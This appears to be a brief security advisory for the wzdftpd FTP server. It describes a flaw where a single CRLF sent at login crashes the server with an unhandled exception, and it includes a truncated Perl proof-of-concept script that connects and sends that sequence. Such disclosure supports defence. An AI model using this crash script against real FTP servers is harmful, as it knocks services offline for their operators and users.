===============
1) Introduction
===============

wzdftpd is a ftp server designed to be modular, work under
linux/win32/freebsd/openbsd,
and to be entirely configurable online using SITE commands.

======
2) Bug
======

wzdftpd has an internal check during the login process to verify the input.
however, sending a single CRLF sequence at login will cause an
Unhandled exception at the server.

 Proto => "tcp", Type=> SOCK_STREAM) or die "Failed, Cant connect?\n";
print "OK\n";
sleep 1;

sleep 2;
print $socket "\r\n";
$socket->autoflush(1);

sleep 2;
print "we are done here..\n\n";
close($socket);
